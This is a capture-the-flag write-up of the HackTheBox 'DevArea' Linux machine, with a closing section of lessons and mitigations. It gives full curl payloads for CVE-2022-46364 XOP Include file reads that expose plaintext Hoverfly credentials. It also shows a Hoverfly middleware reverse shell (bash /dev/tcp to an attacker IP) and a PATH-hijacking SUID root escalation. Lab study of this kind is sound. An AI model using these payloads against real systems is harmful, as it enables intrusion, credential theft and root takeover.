sudo.HackTheBox Linux Medium
πΊοΈ Machine Info#
| Field | Detail |
|---|---|
| Name | DevArea |
| OS | Linux (Ubuntu) |
| Difficulty | Medium |
| IP | 10.129.10.216 |
| Techniques | CVE-2022-46364 Β· XOP Include LFI Β· Hoverfly Middleware RCE Β· Bash PATH Hijacking Β· SUID |
1. Reconnaissance#
1.1 Port Scan#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.10.216PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
8500/tcp open fmtp
8888/tcp open sun-answerbookVersion and scripts scan on open ports:
nmap -sC -sV -p21,22,80,8080,8500,8888 10.129.10.216PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
8080/tcp open http Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
8500/tcp open http Golang net/http server (Proxy β requires auth)
8888/tcp open http Golang net/http server
|_http-title: Hoverfly DashboardOpen ports:
21β FTP vsftpd with anonymous login enabled22β OpenSSH 9.6p1, no known public exploits80β Apache 2.4.58 with virtual hosting todevarea.htb8080β Jetty 9.4.27 β Java service, returns 404 at root8500β Go proxy with authentication8888β Hoverfly Dashboard β service virtualization tool
π‘ Attack surface: The combination of anonymous FTP + Jetty + Hoverfly is unusual. FTP likely exposes some artifact of the service running on Jetty; Hoverfly is a tool that can execute code if we authenticate.
2. Web and FTP Enumeration#
2.1 Web Enumeration (Port 80)#
We add devarea.htb to /etc/hosts and run gobuster in vhost mode:
sudo sh -c "echo '10.129.10.216 devarea.htb' >> /etc/hosts"
gobuster vhost -u http://devarea.htb -w subdomains.txtFound: weather.devarea.htb β 302 β http://devarea.htb/
Found: webapps.devarea.htb β 302 β http://devarea.htb/
Found: node1.devarea.htb β 302 β http://devarea.htb/All subdomains redirect to the main page. The static web and port 8080 have no actionable content via directory enumeration.
2.2 Anonymous FTP#
ftp 10.129.10.216
# User: anonymous / No passwordftp> ls pub
-rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar
ftp> get employee-service.jarWe download the JAR β a Java service presumably running on port 8080.
3. JAR Analysis β Reverse Engineering#
We decompile the JAR with jadx:
jadx -d /root/decompiled/ /root/employee-service.jarRelevant files are in sources/htb/devarea/. We filter the application code by excluding Apache, Jetty, and javax dependencies:
find sources/ -name "*.java" | grep -vE "apache|jetty|javax|ibm"sources/htb/devarea/Report.java
sources/htb/devarea/ServerStarter.java
sources/htb/devarea/EmployeeServiceImpl.java
sources/htb/devarea/EmployeeService.java3.1 ServerStarter.java β SOAP Endpoint#
public class ServerStarter {
public static void main(String[] args) {
JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
}
}π‘ Key discovery: The service exposes a SOAP endpoint at
http://devarea.htb:8080/employeeservice. The WSDL at/employeeservice?wsdldescribes its full interface.
3.2 EmployeeServiceImpl.java β The Reflected Field#
public String submitReport(Report report) {
String greeting = report.isConfidential()
? "Report marked confidential. Thank you, " + report.getEmployeeName()
: "Report received from " + report.getEmployeeName();
return greeting + ". Department: " + report.getDepartment()
+ ". Content: " + report.getContent();
}π‘ Key: The
contentfield is reflected back in the response. If we can inject file contents into that field, we’ll see them in the response.
3.3 pom.xml β Apache CXF Version#
cat resources/META-INF/maven/com.environment/employee-service/pom.xml<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.2.14</version>
</dependency>β οΈ Vulnerable version: Apache CXF 3.2.14 is affected by CVE-2022-46364 (versions before 3.5.5 and 3.4.10). This CVE allows reading arbitrary server files via Multipart SOAP messages with XOP Include elements.
4. Exploitation β CVE-2022-46364 (XOP Include LFI)#
The attack uses XOP (XML-binary Optimized Packaging) inside a Multipart SOAP message. Instead of an HTTP URL, we pass a local file path in the href attribute of the xop:Include element. The server processes the entity, reads the file, and returns it Base64-encoded in the response.
Normal flow: content field = "text" β SOAP response with that text reflected
Malicious flow: content field = <xop:Include href="file:///path"/> β
CXF resolves the reference, reads the local file, returns content in Base644.1 Service Verification#
Before exploiting, we confirm the SOAP endpoint responds correctly:
curl -X POST \
-H 'Content-Type: multipart/related; type="text/xml"; boundary="boundary"; start="<main>"' \
-H 'SOAPAction: ""' \
--data-binary @- \
http://devarea.htb:8080/employeeservice <<'EOF'
--boundary
Content-Type: text/xml; charset=UTF-8
Content-ID: <main>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>TEST_CONTENT</content>
<department>IT</department>
<employeeName>Hacker</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--boundary--
EOF<return>Report received from Hacker. Department: IT. Content: TEST_CONTENT</return>The content field is reflected.
4.2 Reading /etc/passwd#
We replace the text with an xop:Include element pointing to the file:
curl -X POST \
-H 'Content-Type: multipart/related; type="text/xml"; boundary="boundary"; start="<main>"' \
-H 'SOAPAction: ""' \
--data-binary @- \
http://devarea.htb:8080/employeeservice <<'EOF'
--boundary
Content-Type: text/xml; charset=UTF-8
Content-ID: <main>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>
<xop:Include href="file:///etc/passwd"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</content>
<department>IT</department>
<employeeName>Hacker</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--boundary--
EOFThe response contains /etc/passwd Base64-encoded:
Content: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -droot:x:0:0:root:/root:/bin/bash
...
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologinπ‘ Users of interest:
dev_ryanβ only normal user with a shell (/bin/bash)syswatchβ service user at/opt/syswatch; relevant for privesc
4.3 Reading the Hoverfly Service (systemd)#
With the same method we read the port 8888 service configuration:
<xop:Include href="file:///etc/systemd/system/hoverfly.service"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>echo "W1VuaXRdCk..." | base64 -d[Unit]
Description=HoverFly service
After=network.target
[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[Install]
WantedBy=multi-user.targetπ Credentials found:
admin:O7IJ27MyyXiUfor Hoverfly on port 8888. Credentials are in plaintext in the process startup parameter β visible in/proc, in the journald log, and in any service configuration file.
5. RCE via Hoverfly Middleware#
Hoverfly is a service virtualization tool that can execute external scripts (“middleware”) to process intercepted traffic in real time. The middleware receives each request/response as JSON via stdin and returns the modified response via stdout. If we configure as middleware a script that launches a reverse shell, the server will execute it in the context of the dev_ryan user.
5.1 Get the JWT Token#
curl -s -X POST http://devarea.htb:8888/api/token-auth \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"O7IJ27MyyXiU"}'{"token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4..."}5.2 Configure the Middleware with Reverse Shell#
We open a listener on our machine:
nc -lvnp 4444We send the payload to the middleware endpoint. The binary field specifies the interpreter and script the code to execute:
curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
-H "Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9..." \
-H "Content-Type: application/json" \
-d '{
"binary": "/bin/bash",
"script": "bash -i >& /dev/tcp/10.10.15.237/4444 0>&1",
"remote": ""
}'Listening on 0.0.0.0 4444
Connection received on 10.129.10.216 37422
bash: no job control in this shell
dev_ryan@devarea:/opt/HoverFly$β
Shell obtained as dev_ryan.
6. User Flag#
dev_ryan@devarea:~$ cat user.txtπ User flag obtained.
7. Privilege Escalation β Bash PATH Hijacking#
7.1 Sudo Permission Enumeration#
dev_ryan@devarea:~$ sudo -lUser dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh,
!/opt/syswatch/syswatch.sh web-stop,
!/opt/syswatch/syswatch.sh web-restartRule analysis:
- β
We can run
/opt/syswatch/syswatch.shas root without a password - β The
web-stopandweb-restartarguments are blocked (!prefix) - The script and its directory are not directly accessible:
dev_ryan@devarea:~$ ls -la /opt/syswatch/
ls: cannot open directory '/opt/syswatch/': Permission denied7.2 The Vulnerability β PATH Hijacking#
The syswatch.sh script likely invokes system commands (ps, grep, date, etc.) without absolute paths. When bash executes a command by name, it searches through $PATH directories left-to-right. If we place a malicious executable with the same name in a directory that appears first in PATH, bash will execute it instead of the legitimate binary β with root privileges.
Normal flow: syswatch.sh calls "ps" β bash searches PATH β /bin/ps
Malicious flow: PATH=/tmp:... β bash searches /tmp first β /tmp/ps (our payload) β executed as root7.3 Create the SUID Payload#
cat > /tmp/payload.sh << 'EOF'
#!/bin/sh
cp /bin/sh /tmp/root_sh && chmod +s /tmp/root_sh
EOF
chmod +x /tmp/payload.shThe payload copies /bin/sh to /tmp/root_sh and activates the SUID bit (+s). Any user executing /tmp/root_sh will do so with the permissions of the binary’s owner β which after being copied by root will be root.
To cover the most common commands without knowing which one the script uses internally:
for cmd in ps grep date id cat ls; do
ln -s /tmp/payload.sh /tmp/$cmd
done7.4 Hijack PATH and Execute the Script as Root#
export PATH=/tmp:$PATH
sudo /opt/syswatch/syswatch.sh --versionThe first command without an absolute path found in the script will execute our payload. Root copies /bin/sh and sets the SUID bit.
7.5 Get the Root Shell#
/tmp/root_sh -p# id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) egid=0(root)
-p: Activates sh’s “privileged” mode, which doesn’t drop the elevated EUID at startup. Without this flag, the shell would discard the SUID bit as a modern security measure.
β Escalation to root completed.
8. Root Flag#
# cat /root/root.txtπ Root flag obtained.
9. Summary and Lessons Learned#
Compromise path:
- Recon β Anonymous FTP exposes
employee-service.jar; Hoverfly Dashboard on port 8888. - Reversing β
jadxon the JAR β Apache CXF 3.2.14 β CVE-2022-46364;contentfield reflected. - CVE-2022-46364 β XOP Include LFI β
/etc/passwd(users) +/etc/systemd/system/hoverfly.service(credentials). - Hoverfly credentials β
admin:O7IJ27MyyXiUβ JWT token β Middleware RCE β shell asdev_ryan. - User flag β
~/user.txt. - PrivEsc β
sudowithout password onsyswatch.shβ PATH Hijacking β SUID binary β root.
What I learned from this machine:
Anonymous FTP can expose more than data β it can expose the target’s source code. The downloaded JAR contained the exact version of the vulnerable dependency. Without that information, finding the attack vector would have required blind fuzzing of the SOAP service. Reading the code first turned a blind search into a targeted attack.
CVE-2022-46364 is an example of why third-party dependencies need to be on the security team’s radar. The application code itself has no bugs β the problem is in the SOAP message parsing library. Maintaining an up-to-date inventory of dependencies (SBOM) and monitoring CVEs against that inventory is the only way to detect this type of exposure before an attacker does.
XOP was designed to efficiently include binaries in SOAP messages; the
file://abuse is a consequence of the parser not validating the URI scheme. The fix in CXF 3.5.5 consisted precisely of blocking URI schemes other thanhttp://andhttps://inxop:Include. It’s an example of failing open by default: the library accepted any valid URI without scheme restriction.Credentials in process startup parameters are visible to any system user. The
ExecStartcommand in systemd with-password O7IJ27MyyXiUappears in/proc/<pid>/cmdline, in the journald log, and in the service configuration file. If the LFI hadn’t existed,ps auxfrom any user with system access would have revealed the same password.PATH Hijacking in sudo scripts is one of the most underrated privesc vectors. People check SUID, capabilities, and crons, but don’t always verify whether privileged scripts call binaries with relative paths. The defense is trivial: use
/bin/psinstead ofps, andsecure_pathin sudoers.
Mitigations:
| Vector | Mitigation |
|---|---|
| Anonymous FTP with internal binaries | Disable anonymous access; don’t expose development artifacts in production |
| Apache CXF 3.2.14 (CVE-2022-46364) | Update to CXF β₯ 3.5.5 or β₯ 3.4.10 |
| Credentials in process parameters (systemd) | Use EnvironmentFile with a secrets file; CLI arguments are visible to all system users |
| Hoverfly Middleware accessible from network | Bind only to 127.0.0.1; restrict API with firewall if remote access isn’t needed |
sudo over script with binaries lacking absolute paths | Add secure_path in sudoers; use absolute paths in all script commands |
| Exploitable SUID bit post-escalation | Regularly audit find / -perm -4000 2>/dev/null; monitor changes in /tmp |